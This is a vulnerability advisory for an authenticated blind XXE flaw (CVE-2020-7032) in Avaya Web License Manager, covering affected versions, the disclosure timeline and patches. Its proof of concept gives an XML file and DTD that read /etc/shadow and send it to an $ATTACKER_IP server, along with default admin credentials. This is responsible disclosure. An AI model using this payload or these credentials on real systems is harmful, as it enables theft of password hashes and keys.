SEC Consult Vulnerability Lab Security Advisory < 20201117-0 > ======================================================================= title: Blind Out-Of-Band XML External Entity Injection (Authenticated) product: Avaya Web License Manager vulnerable version: 6.x, 7.0 through 7.1.3.6, 8.0 through 8.1.2.0.0 fixed version: 7.1.3.7 and 8.1.3 CVE number: CVE-2020-7032 impact: medium (6.5) homepage: https://www.avaya.com/en/ found: 03/2020 by: M. Koplin (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "As a global leader in delivering superior communications experiences, Avaya provides the most complete portfolio of software and services for multi-touch contact center and unified communications offered on premises, in the cloud, or a hybrid. Today's digital world centers on communications enablement, and no other company is better positioned to do this than Avaya." Source: https://www.avaya.com/en/ Business recommendation: ------------------------ The vendor provides a patch for the Avaya Web License Manager which should be installed immediately. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: ----------------------------------- 1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032) This vulnerability within the Avaya Web License Manager (WebLM) allows an authenticated user to read arbitrary files in the context of the Webserver (Tomcat) by uploading a specially crafted XML file within the License upload functionality. Accessible sensitive files that can be read are for example /etc/shadow, SSH keys or other configuration files. Proof of concept: ----------------- 1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032) Login as a user to https://$IP/WebLM/ and navigate to "Install License". If WebLM has never been used before or not hardened, the default credentials are admin:weblmadmin Create an XML file like the following: <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://$ATTACKER_IP/xxe_file.dtd"> %asd; %c; ]> <a>&rrr;</a> and a DTD file like: <!ENTITY % d SYSTEM "file:///etc/shadow"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://$ATTACKER_IP:2121/%d;'>"> Start a webserver, e.g. SimpleHTTPServer python -m SimpleHTTPServer 80 and an FTP server like GO XXE FTP Server ./xxeserv 2121 Upload the crafted XML file by clicking the install button. Vulnerable / tested versions: ----------------------------- The following version has been tested: * Avaya Web License Manager 6.3 The vendor doesn't support versions < 7.x. Probably all versions <7 are affected. Vendor contact timeline: ------------------------ 2020-03-18: Contacting vendor through securityalerts@avaya.com 2020-03-19: Vendor replied and started the process to verify the vulnerability 2020-04-03: Second mail to vendor to check if they have verified the issue 2020-05-18: Release of Hotfix for WebLM (embedded with SMGR) version 8.1.2.x 2020-07-01: Advisory release postponed, due to a delayed patch for version 7 2020-11-16: Patch release for version 7 and 8 of WebLM standalone and SMGR 2020-11-17: Publication of the advisory. Solution: --------- Version 6: Upgrade to a new major release Version 7: Upgrade to 7.1.3.7 or later Version 8: Install hot fix #7 or upgrade to version 8.1.3 Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Koplin / @2020